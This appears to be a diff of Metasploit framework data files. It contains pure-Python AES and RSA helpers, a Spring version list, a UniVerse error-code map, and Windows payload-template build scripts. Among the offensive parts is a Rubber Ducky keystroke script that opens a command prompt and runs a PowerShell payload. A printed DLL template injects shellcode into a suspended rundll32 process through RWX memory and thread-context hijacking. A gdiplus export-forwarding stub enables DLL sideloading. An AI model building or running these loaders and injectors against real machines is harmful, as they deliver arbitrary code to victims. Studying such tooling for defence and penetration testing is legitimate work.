self._Ke[t // 4][t % 4] = tk[j]
self._Kd[rds - (t // 4)][t % 4] = tk[j]
j += 1
t += 1
for r in xrange(1, rds):
for j in xrange(0, 4):
tt = self._Kd[r][j]
self._Kd[r][j] = (self.U1[(tt >> 24) & 255] ^ self.U2[(
tt >> 16) & 255] ^ self.U3[(tt >> 8) & 255] ^ self.U4[tt & 255])
def _encdec(self, data, K, s, S, L1, L2, L3, L4):
if len(data) != 16:
raise ValueError('wrong block length')
rds = len(K) - 1
(s1, s2, s3) = s
a = [0, 0, 0, 0]
t = [(_cw(data[4 * i:4 * i + 4]) ^ K[0][i])for i in xrange(0, 4)]
for r in xrange(1, rds):
for i in xrange(0, 4):
a[i] = L1[(t[i] >> 24) & 255]
a[i] ^= L2[(t[(i + s1) % 4] >> 16) & 255]
a[i] ^= L3[(t[(i + s2) % 4] >> 8) & 255]
a[i] ^= L4[t[(i + s3) % 4] & 255] ^ K[r][i]
t = copy.copy(a)
rst = []
for i in xrange(0, 4):
tt = K[rds][i]
rst.append((S[(t[i] >> 24) & 255] ^ (tt >> 24)) & 255)
rst.append((S[(t[(i + s1) % 4] >> 16) & 255] ^ (tt >> 16)) & 255)
rst.append((S[(t[(i + s2) % 4] >> 8) & 255] ^ (tt >> 8)) & 255)
rst.append((S[t[(i + s3) % 4] & 255] ^ tt) & 255)
return rst
def enc_in(self, pt):
return self._encdec(
pt, self._Ke, [
1, 2, 3], self.S, self.T1, self.T2, self.T3, self.T4)
def dec_in(self, ct):
return self._encdec(
ct, self._Kd, [
3, 2, 1], self.Si, self.T5, self.T6, self.T7, self.T8)
def pad(self, pt):
c = 16 - (len(pt) % 16)
return pt + bytes(chr(c) * c, 'utf-8')
def unpad(self, pt):
c = pt[-1]
if not isinstance(c, int):
c = ord(c)
return pt[:-c]
def encrypt(self, iv, pt):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = _s2b(iv)
pt = self.pad(pt)
return empty.join([self.enc_b(b)for b in chunks(pt, 16)])
def enc_b(self, pt):
if len(pt) != 16:
raise ValueError('plaintext block must be 16 bytes')
pt = _s2b(pt)
pcb = [(p ^ l)for (p, l) in zip(pt, self._lcb)]
self._lcb = self.enc_in(pcb)
return _b2s(self._lcb)
def decrypt(self, iv, ct):
if len(iv) != 16:
raise ValueError('initialization vector must be 16 bytes')
else:
self._lcb = _s2b(iv)
if len(ct) % 16 != 0:
raise ValueError('ciphertext must be a multiple of 16')
return self.unpad(empty.join([self.dec_b(b)for b in chunks(ct, 16)]))
def dec_b(self, ct):
if len(ct) != 16:
raise ValueError('ciphertext block must be 16 bytes')
cb = _s2b(ct)
pt = [(p ^ l)for (p, l) in zip(self.dec_in(cb), self._lcb)]
self._lcb = cb
return _b2s(pt)
+77
View File
@@ -0,0 +1,77 @@
import sys
import math
import random
import binascii as ba
import os
from struct import unpack as u
from struct import pack
is2 = sys.version_info[0] < 3
def bt(b):
if is2:
return b
return ord(b)
def b2i(b):
return int(ba.b2a_hex(b), 16)
def i2b(i):
h = '%x' % i
if len(h) % 2 == 1:
h = '0' + h
if not is2:
h = h.encode('utf-8')
return ba.a2b_hex(h)
def rs(a, o):
if a[o] == bt(pack('B', 0x81)):
return (u('B', a[o + 1])[0], 2 + o)
elif a[o] == bt(pack('B', 0x82)):
return (u('>H', a[o + 1:o + 3])[0], 3 + o)
def ri(b, o):
i, o = rs(b, o)
return (b[o:o + i], o + i)
def b2me(b):
if b[0] != bt(pack('B', 0x30)):
return (None, None)
_, o = rs(b, 1)
if b[o] != bt(pack('B', 2)):
return (None, None)
(m, o) = ri(b, o + 1)
if b[o] != bt(pack('B', 2)):
return (None, None)
e = b[o + 2:]
return (b2i(m), b2i(e))
def der2me(d):
if d[0] != bt(pack('B', 0x30)):
return (None, None)
_, o = rs(d, 1)
while o < len(d):
if d[o] == bt(pack('B', 0x30)):
o += u('B', d[o + 1:o + 2])[0]
elif d[o] == bt(pack('B', 0x05)):
o += 2
elif d[o] == bt(pack('B', 0x03)):
_, o = rs(d, o + 1)
return b2me(d[o + 1:])
else:
return (None, None)
def rsa_enc(der, msg):
m, e = der2me(der)
h = pack('BB', 0, 2)
d = pack('B', 0)
l = 256 - len(h) - len(msg) - len(d)
p = os.urandom(512).replace(pack('B', 0), pack(''))
return i2b(pow(b2i(h + p[:l] + d + msg), e, m))
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
+615
View File
@@ -0,0 +1,615 @@
[
"V3_0_0_SNAPSHOT",
"V3_0_0_ALPHA1",
"V3_0_0_BETA1",
"V3_0_0_BETA2",
"V3_0_0_BETA3",
"V3_0_0_BETA4",
"V3_0_0_BETA5",
"V3_0_0_BETA6_SNAPSHOT",
"V3_0_0_BETA6",
"V3_0_0_BETA7_SNAPSHOT",
"V3_0_0_BETA7",
"V3_0_0_BETA8_SNAPSHOT",
"V3_0_0_BETA8",
"V3_0_0_BETA9_SNAPSHOT",
"V3_0_0_BETA9",
"V3_0_0_FINAL",
"V3_0_1_SNAPSHOT",
"V3_0_1",
"V3_0_2_SNAPSHOT",
"V3_0_2",
"V3_0_3_SNAPSHOT",
"V3_0_3",
"V3_0_4_SNAPSHOT",
"V3_0_4",
"V3_0_5_SNAPSHOT",
"V3_0_5",
"V3_0_6_SNAPSHOT",
"V3_0_6",
"V3_0_7_SNAPSHOT",
"V3_0_7",
"V3_0_8_SNAPSHOT",
"V3_0_8",
"V3_0_9_SNAPSHOT",
"V3_0_9",
"V3_0_10_SNAPSHOT",
"V3_0_10",
"V3_0_11_SNAPSHOT",
"V3_0_11",
"V3_0_12_SNAPSHOT",
"V3_0_12",
"V3_0_13_SNAPSHOT",
"V3_0_13",
"V3_0_14_SNAPSHOT",
"V3_0_14",
"V3_0_15_SNAPSHOT",
"V3_0_15",
"V3_1_0_SNAPSHOT",
"V3_1_0",
"V3_1_1_SNAPSHOT",
"V3_1_1",
"V3_1_2_SNAPSHOT",
"V3_1_2",
"V3_1_3_SNAPSHOT",
"V3_1_3",
"V3_1_4_SNAPSHOT",
"V3_1_4",
"V3_1_5_SNAPSHOT",
"V3_1_5",
"V3_1_6_SNAPSHOT",
"V3_1_6",
"V3_1_7_SNAPSHOT",
"V3_1_7",
"V3_1_8_SNAPSHOT",
"V3_1_8",
"V3_1_9_SNAPSHOT",
"V3_1_9",
"V3_2_0_SNAPSHOT",
"V3_2_0",
"V3_2_1_SNAPSHOT",
"V3_2_1",
"V3_2_2_SNAPSHOT",
"V3_2_2",
"V3_2_3_SNAPSHOT",
"V3_2_3",
"V3_2_4_SNAPSHOT",
"V3_2_4",
"V3_2_5_SNAPSHOT",
"V3_2_5",
"V3_2_6_SNAPSHOT",
"V3_2_6",
"V3_2_7_SNAPSHOT",
"V3_2_7",
"V3_2_8_SNAPSHOT",
"V3_2_8",
"V3_2_9_SNAPSHOT",
"V3_2_9",
"V3_3_1_SNAPSHOT",
"V3_3_1",
"V3_3_2_SNAPSHOT",
"V3_3_2",
"V3_3_3_SNAPSHOT",
"V3_3_3",
"V3_3_4_SNAPSHOT",
"V3_3_4",
"V3_3_5_SNAPSHOT",
"V3_3_5",
"V3_3_6_SNAPSHOT",
"V3_3_6",
"V3_3_7_SNAPSHOT",
"V3_3_7",
"V3_3_8_SNAPSHOT",
"V3_3_8",
"V3_3_9_SNAPSHOT",
"V3_3_9",
"V3_4_1_SNAPSHOT",
"V3_4_1",
"V3_4_2_SNAPSHOT",
"V3_4_2",
"V3_4_3_SNAPSHOT",
"V3_4_3",
"V3_4_4_SNAPSHOT",
"V3_4_4",
"V3_4_5_SNAPSHOT",
"V3_4_5",
"V3_4_6_SNAPSHOT",
"V3_4_6",
"V3_4_7_SNAPSHOT",
"V3_4_7",
"V3_4_8_SNAPSHOT",
"V3_4_8",
"V3_4_9_SNAPSHOT",
"V3_4_9",
"V3_5_1_SNAPSHOT",
"V3_5_1",
"V3_5_2_SNAPSHOT",
"V3_5_2",
"V3_5_3_SNAPSHOT",
"V3_5_3",
"V3_5_4_SNAPSHOT",
"V3_5_4",
"V3_5_5_SNAPSHOT",
"V3_5_5",
"V3_5_6_SNAPSHOT",
"V3_5_6",
"V3_5_7_SNAPSHOT",
"V3_5_7",
"V3_5_8_SNAPSHOT",
"V3_5_8",
"V3_5_9_SNAPSHOT",
"V3_5_9",
"V3_6_1_SNAPSHOT",
"V3_6_1",
"V3_6_2_SNAPSHOT",
"V3_6_2",
"V3_6_3_SNAPSHOT",
"V3_6_3",
"V3_6_4_SNAPSHOT",
"V3_6_4",
"V3_6_5_SNAPSHOT",
"V3_6_5",
"V3_6_6_SNAPSHOT",
"V3_6_6",
"V3_6_7_SNAPSHOT",
"V3_6_7",
"V3_6_8_SNAPSHOT",
"V3_6_8",
"V3_6_9_SNAPSHOT",
"V3_6_9",
"V3_7_1_SNAPSHOT",
"V3_7_1",
"V3_7_2_SNAPSHOT",
"V3_7_2",
"V3_7_3_SNAPSHOT",
"V3_7_3",
"V3_7_4_SNAPSHOT",
"V3_7_4",
"V3_7_5_SNAPSHOT",
"V3_7_5",
"V3_7_6_SNAPSHOT",
"V3_7_6",
"V3_7_7_SNAPSHOT",
"V3_7_7",
"V3_7_8_SNAPSHOT",
"V3_7_8",
"V3_7_9_SNAPSHOT",
"V3_7_9",
"V3_8_1_SNAPSHOT",
"V3_8_1",
"V3_8_2_SNAPSHOT",
"V3_8_2",
"V3_8_3_SNAPSHOT",
"V3_8_3",
"V3_8_4_SNAPSHOT",
"V3_8_4",
"V3_8_5_SNAPSHOT",
"V3_8_5",
"V3_8_6_SNAPSHOT",
"V3_8_6",
"V3_8_7_SNAPSHOT",
"V3_8_7",
"V3_8_8_SNAPSHOT",
"V3_8_8",
"V3_8_9_SNAPSHOT",
"V3_8_9",
"V3_9_1_SNAPSHOT",
"V3_9_1",
"V3_9_2_SNAPSHOT",
"V3_9_2",
"V3_9_3_SNAPSHOT",
"V3_9_3",
"V3_9_4_SNAPSHOT",
"V3_9_4",
"V3_9_5_SNAPSHOT",
"V3_9_5",
"V3_9_6_SNAPSHOT",
"V3_9_6",
"V3_9_7_SNAPSHOT",
"V3_9_7",
"V3_9_8_SNAPSHOT",
"V3_9_8",
"V3_9_9_SNAPSHOT",
"V3_9_9",
"V4_0_0_SNAPSHOT",
"V4_0_0",
"V4_0_1_SNAPSHOT",
"V4_0_1",
"V4_0_2_SNAPSHOT",
"V4_0_2",
"V4_0_3_SNAPSHOT",
"V4_0_3",
"V4_0_4_SNAPSHOT",
"V4_0_4",
"V4_0_5_SNAPSHOT",
"V4_0_5",
"V4_0_6_SNAPSHOT",
"V4_0_6",
"V4_0_7_SNAPSHOT",
"V4_0_7",
"V4_0_8_SNAPSHOT",
"V4_0_8",
"V4_0_9_SNAPSHOT",
"V4_0_9",
"V4_1_0_SNAPSHOT",
"V4_1_0",
"V4_1_1_SNAPSHOT",
"V4_1_1",
"V4_1_2_SNAPSHOT",
"V4_1_2",
"V4_1_3_SNAPSHOT",
"V4_1_3",
"V4_1_4_SNAPSHOT",
"V4_1_4",
"V4_1_5_SNAPSHOT",
"V4_1_5",
"V4_1_6_SNAPSHOT",
"V4_1_6",
"V4_1_7_SNAPSHOT",
"V4_1_7",
"V4_1_8_SNAPSHOT",
"V4_1_8",
"V4_1_9_SNAPSHOT",
"V4_1_9",
"V4_2_0_SNAPSHOT",
"V4_2_0",
"V4_2_1_SNAPSHOT",
"V4_2_1",
"V4_2_2_SNAPSHOT",
"V4_2_2",
"V4_2_3_SNAPSHOT",
"V4_2_3",
"V4_2_4_SNAPSHOT",
"V4_2_4",
"V4_2_5_SNAPSHOT",
"V4_2_5",
"V4_2_6_SNAPSHOT",
"V4_2_6",
"V4_2_7_SNAPSHOT",
"V4_2_7",
"V4_2_8_SNAPSHOT",
"V4_2_8",
"V4_2_9_SNAPSHOT",
"V4_2_9",
"V4_3_0_SNAPSHOT",
"V4_3_0",
"V4_3_1_SNAPSHOT",
"V4_3_1",
"V4_3_2_SNAPSHOT",
"V4_3_2",
"V4_3_3_SNAPSHOT",
"V4_3_3",
"V4_3_4_SNAPSHOT",
"V4_3_4",
"V4_3_5_SNAPSHOT",
"V4_3_5",
"V4_3_6_SNAPSHOT",
"V4_3_6",
"V4_3_7_SNAPSHOT",
"V4_3_7",
"V4_3_8_SNAPSHOT",
"V4_3_8",
"V4_3_9_SNAPSHOT",
"V4_3_9",
"V4_4_0_SNAPSHOT",
"V4_4_0",
"V4_4_1_SNAPSHOT",
"V4_4_1",
"V4_4_2_SNAPSHOT",
"V4_4_2",
"V4_4_3_SNAPSHOT",
"V4_4_3",
"V4_4_4_SNAPSHOT",
"V4_4_4",
"V4_4_5_SNAPSHOT",
"V4_4_5",
"V4_4_6_SNAPSHOT",
"V4_4_6",
"V4_4_7_SNAPSHOT",
"V4_4_7",
"V4_4_8_SNAPSHOT",
"V4_4_8",
"V4_4_9_SNAPSHOT",
"V4_4_9",
"V4_5_0_SNAPSHOT",
"V4_5_0",
"V4_5_1_SNAPSHOT",
"V4_5_1",
"V4_5_2_SNAPSHOT",
"V4_5_2",
"V4_5_3_SNAPSHOT",
"V4_5_3",
"V4_5_4_SNAPSHOT",
"V4_5_4",
"V4_5_5_SNAPSHOT",
"V4_5_5",
"V4_5_6_SNAPSHOT",
"V4_5_6",
"V4_5_7_SNAPSHOT",
"V4_5_7",
"V4_5_8_SNAPSHOT",
"V4_5_8",
"V4_5_9_SNAPSHOT",
"V4_5_9",
"V4_6_0_SNAPSHOT",
"V4_6_0",
"V4_6_1_SNAPSHOT",
"V4_6_1",
"V4_6_2_SNAPSHOT",
"V4_6_2",
"V4_6_3_SNAPSHOT",
"V4_6_3",
"V4_6_4_SNAPSHOT",
"V4_6_4",
"V4_6_5_SNAPSHOT",
"V4_6_5",
"V4_6_6_SNAPSHOT",
"V4_6_6",
"V4_6_7_SNAPSHOT",
"V4_6_7",
"V4_6_8_SNAPSHOT",
"V4_6_8",
"V4_6_9_SNAPSHOT",
"V4_6_9",
"V4_7_0_SNAPSHOT",
"V4_7_0",
"V4_7_1_SNAPSHOT",
"V4_7_1",
"V4_7_2_SNAPSHOT",
"V4_7_2",
"V4_7_3_SNAPSHOT",
"V4_7_3",
"V4_7_4_SNAPSHOT",
"V4_7_4",
"V4_7_5_SNAPSHOT",
"V4_7_5",
"V4_7_6_SNAPSHOT",
"V4_7_6",
"V4_7_7_SNAPSHOT",
"V4_7_7",
"V4_7_8_SNAPSHOT",
"V4_7_8",
"V4_7_9_SNAPSHOT",
"V4_7_9",
"V4_8_0_SNAPSHOT",
"V4_8_0",
"V4_8_1_SNAPSHOT",
"V4_8_1",
"V4_8_2_SNAPSHOT",
"V4_8_2",
"V4_8_3_SNAPSHOT",
"V4_8_3",
"V4_8_4_SNAPSHOT",
"V4_8_4",
"V4_8_5_SNAPSHOT",
"V4_8_5",
"V4_8_6_SNAPSHOT",
"V4_8_6",
"V4_8_7_SNAPSHOT",
"V4_8_7",
"V4_8_8_SNAPSHOT",
"V4_8_8",
"V4_8_9_SNAPSHOT",
"V4_8_9",
"V4_9_0_SNAPSHOT",
"V4_9_0",
"V4_9_1_SNAPSHOT",
"V4_9_1",
"V4_9_2_SNAPSHOT",
"V4_9_2",
"V4_9_3_SNAPSHOT",
"V4_9_3",
"V4_9_4_SNAPSHOT",
"V4_9_4",
"V4_9_5_SNAPSHOT",
"V4_9_5",
"V4_9_6_SNAPSHOT",
"V4_9_6",
"V4_9_7_SNAPSHOT",
"V4_9_7",
"V4_9_8_SNAPSHOT",
"V4_9_8",
"V4_9_9_SNAPSHOT",
"V4_9_9",
"V5_0_0_SNAPSHOT",
"V5_0_0",
"V5_0_1_SNAPSHOT",
"V5_0_1",
"V5_0_2_SNAPSHOT",
"V5_0_2",
"V5_0_3_SNAPSHOT",
"V5_0_3",
"V5_0_4_SNAPSHOT",
"V5_0_4",
"V5_0_5_SNAPSHOT",
"V5_0_5",
"V5_0_6_SNAPSHOT",
"V5_0_6",
"V5_0_7_SNAPSHOT",
"V5_0_7",
"V5_0_8_SNAPSHOT",
"V5_0_8",
"V5_0_9_SNAPSHOT",
"V5_0_9",
"V5_1_0_SNAPSHOT",
"V5_1_0",
"V5_1_1_SNAPSHOT",
"V5_1_1",
"V5_1_2_SNAPSHOT",
"V5_1_2",
"V5_1_3_SNAPSHOT",
"V5_1_3",
"V5_1_4_SNAPSHOT",
"V5_1_4",
"V5_1_5_SNAPSHOT",
"V5_1_5",
"V5_1_6_SNAPSHOT",
"V5_1_6",
"V5_1_7_SNAPSHOT",
"V5_1_7",
"V5_1_8_SNAPSHOT",
"V5_1_8",
"V5_1_9_SNAPSHOT",
"V5_1_9",
"V5_2_0_SNAPSHOT",
"V5_2_0",
"V5_2_1_SNAPSHOT",
"V5_2_1",
"V5_2_2_SNAPSHOT",
"V5_2_2",
"V5_2_3_SNAPSHOT",
"V5_2_3",
"V5_2_4_SNAPSHOT",
"V5_2_4",
"V5_2_5_SNAPSHOT",
"V5_2_5",
"V5_2_6_SNAPSHOT",
"V5_2_6",
"V5_2_7_SNAPSHOT",
"V5_2_7",
"V5_2_8_SNAPSHOT",
"V5_2_8",
"V5_2_9_SNAPSHOT",
"V5_2_9",
"V5_3_0_SNAPSHOT",
"V5_3_0",
"V5_3_1_SNAPSHOT",
"V5_3_1",
"V5_3_2_SNAPSHOT",
"V5_3_2",
"V5_3_3_SNAPSHOT",
"V5_3_3",
"V5_3_4_SNAPSHOT",
"V5_3_4",
"V5_3_5_SNAPSHOT",
"V5_3_5",
"V5_3_6_SNAPSHOT",
"V5_3_6",
"V5_3_7_SNAPSHOT",
"V5_3_7",
"V5_3_8_SNAPSHOT",
"V5_3_8",
"V5_3_9_SNAPSHOT",
"V5_3_9",
"V5_4_0_SNAPSHOT",
"V5_4_0",
"V5_4_1_SNAPSHOT",
"V5_4_1",
"V5_4_2_SNAPSHOT",
"V5_4_2",
"V5_4_3_SNAPSHOT",
"V5_4_3",
"V5_4_4_SNAPSHOT",
"V5_4_4",
"V5_4_5_SNAPSHOT",
"V5_4_5",
"V5_4_6_SNAPSHOT",
"V5_4_6",
"V5_4_7_SNAPSHOT",
"V5_4_7",
"V5_4_8_SNAPSHOT",
"V5_4_8",
"V5_4_9_SNAPSHOT",
"V5_4_9",
"V5_5_0_SNAPSHOT",
"V5_5_0",
"V5_5_1_SNAPSHOT",
"V5_5_1",
"V5_5_2_SNAPSHOT",
"V5_5_2",
"V5_5_3_SNAPSHOT",
"V5_5_3",
"V5_5_4_SNAPSHOT",
"V5_5_4",
"V5_5_5_SNAPSHOT",
"V5_5_5",
"V5_5_6_SNAPSHOT",
"V5_5_6",
"V5_5_7_SNAPSHOT",
"V5_5_7",
"V5_5_8_SNAPSHOT",
"V5_5_8",
"V5_5_9_SNAPSHOT",
"V5_5_9",
"V5_6_0_SNAPSHOT",
"V5_6_0",
"V5_6_1_SNAPSHOT",
"V5_6_1",
"V5_6_2_SNAPSHOT",
"V5_6_2",
"V5_6_3_SNAPSHOT",
"V5_6_3",
"V5_6_4_SNAPSHOT",
"V5_6_4",
"V5_6_5_SNAPSHOT",
"V5_6_5",
"V5_6_6_SNAPSHOT",
"V5_6_6",
"V5_6_7_SNAPSHOT",
"V5_6_7",
"V5_6_8_SNAPSHOT",
"V5_6_8",
"V5_6_9_SNAPSHOT",
"V5_6_9",
"V5_7_0_SNAPSHOT",
"V5_7_0",
"V5_7_1_SNAPSHOT",
"V5_7_1",
"V5_7_2_SNAPSHOT",
"V5_7_2",
"V5_7_3_SNAPSHOT",
"V5_7_3",
"V5_7_4_SNAPSHOT",
"V5_7_4",
"V5_7_5_SNAPSHOT",
"V5_7_5",
"V5_7_6_SNAPSHOT",
"V5_7_6",
"V5_7_7_SNAPSHOT",
"V5_7_7",
"V5_7_8_SNAPSHOT",
"V5_7_8",
"V5_7_9_SNAPSHOT",
"V5_7_9",
"V5_8_0_SNAPSHOT",
"V5_8_0",
"V5_8_1_SNAPSHOT",
"V5_8_1",
"V5_8_2_SNAPSHOT",
"V5_8_2",
"V5_8_3_SNAPSHOT",
"V5_8_3",
"V5_8_4_SNAPSHOT",
"V5_8_4",
"V5_8_5_SNAPSHOT",
"V5_8_5",
"V5_8_6_SNAPSHOT",
"V5_8_6",
"V5_8_7_SNAPSHOT",
"V5_8_7",
"V5_8_8_SNAPSHOT",
"V5_8_8",
"V5_8_9_SNAPSHOT",
"V5_8_9",
"V5_9_0_SNAPSHOT",
"V5_9_0",
"V5_9_1_SNAPSHOT",
"V5_9_1",
"V5_9_2_SNAPSHOT",
"V5_9_2",
"V5_9_3_SNAPSHOT",
"V5_9_3",
"V5_9_4_SNAPSHOT",
"V5_9_4",
"V5_9_5_SNAPSHOT",
"V5_9_5",
"V5_9_6_SNAPSHOT",
"V5_9_6",
"V5_9_7_SNAPSHOT",
"V5_9_7",
"V5_9_8_SNAPSHOT",
"V5_9_8",
"V5_9_9_SNAPSHOT",
"V5_9_9",
"HIGHER_VERSION"
]
@@ -0,0 +1,14 @@
REM Title: Metasploit Generated Payload
REM Description: Opens a payload via powershell on the system
REM Version: 1.0
REM Open start menu
REM We use cmd.exe since the powershell payload is likely too long for the run bar
GUI r
DELAY 750
STRING cmd.exe
DELAY 750
ENTER
DELAY 750
STRING powershell.exe %{var_payload}
DELAY 750
ENTER
+10
View File
@@ -0,0 +1,10 @@
# PE Source Code
This directory contains the source code for the PE executable templates.
## Building DLLs
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
+7
View File
@@ -0,0 +1,7 @@
@echo off
for /D %%d in (dll*) do (
pushd "%%d"
build.bat
popd
)
+4 -3
View File
@@ -3,12 +3,13 @@
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
del *.obj *.res
move *.dll ..\..\..
+2 -1
View File
@@ -1,5 +1,6 @@
#ifndef SCSIZE
#define SCSIZE 4096
#endif
unsigned char code[SCSIZE] = "PAYLOAD:";
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
@@ -0,0 +1,15 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,24 +0,0 @@
#
# XXX: NOTE: this will only compile the x86 version.
#
# To compile the x64 version, use:
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
#
if [ -z "$PREFIX" ]; then
PREFIX=i686-w64-mingw32
fi
rm -f *.o *.dll
$PREFIX-gcc -c template.c
$PREFIX-windres -o rc.o template.rc
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
rm -f junk.tmp
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
rm -f base.tmp
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
rm -f temp.exp
$PREFIX-strip template_x86_windows.dll
rm -f *.o
@@ -1,6 +1,3 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";
#ifdef _MSC_VER
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
@@ -1,97 +0,0 @@
#include <windows.h>
#include "template.h"
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
ExitThread(0);
}
/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
PVOID DllHandle,
ULONG Reason,
PVOID Reserved
);
VOID NTAPI TlsCallback(
IN PVOID DllHandle,
IN ULONG Reason,
IN PVOID Reserved)
{
__asm ( "int3" );
}
ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/
@@ -1,3 +0,0 @@
EXPORTS
DllMain@12
@@ -1,18 +0,0 @@
LANGUAGE 9, 1
VS_VERSION_INFO VERSIONINFO
FILEVERSION 0,0,0,1
PRODUCTVERSION 0,0,0,1
FILEFLAGSMASK 0x17L
FILEFLAGS 0x0L
FILEOS 0x4L
FILETYPE 0x2L
FILESUBTYPE 0x0L
BEGIN
END
#define RT_HTML 23
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+101
View File
@@ -0,0 +1,101 @@
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
{
0: "UVE_NOERROR",
14002: "UVE_ENOENT",
14005: "UVE_EIO",
14009: "UVE_EBADF",
14012: "UVE_ENOMEM",
14013: "UVE_EACCES",
14022: "UVE_EINVAL",
14023: "UVE_ENFILE",
14024: "UVE_EMFILE",
14028: "UVE_ENOSPC",
14551: "UVE_NETUNREACH",
22001: "UVE_BFN",
22002: "UVE_BTS",
20003: "UVE_IID",
22004: "UVE_LRR",
22005: "UVE_NFI",
30001: "UVE_RNF",
30002: "UVE_LCK",
30095: "UVE_FIFS",
30097: "UVE_SELFAIL",
30098: "UVE_LOCKINVALID",
30099: "UVE_SEQOPENED",
30100: "UVE_HASHOPENED",
30101: "UVE_SEEKFAILED",
30103: "UVE_INVALIDATKEY",
30105: "UVE_UNABLETOLOADSUB",
30106: "UVE_BADNUMARGS",
30107: "UVE_SUBERROR",
30108: "UVE_ITYPEFTC",
30109: "UVE_ITYPEFAILEDTOLOAD",
30110: "UVE_ITYPENOTCOMPILED",
30111: "UVE_BADITYPE",
30112: "UVE_INVALIDFILENAME",
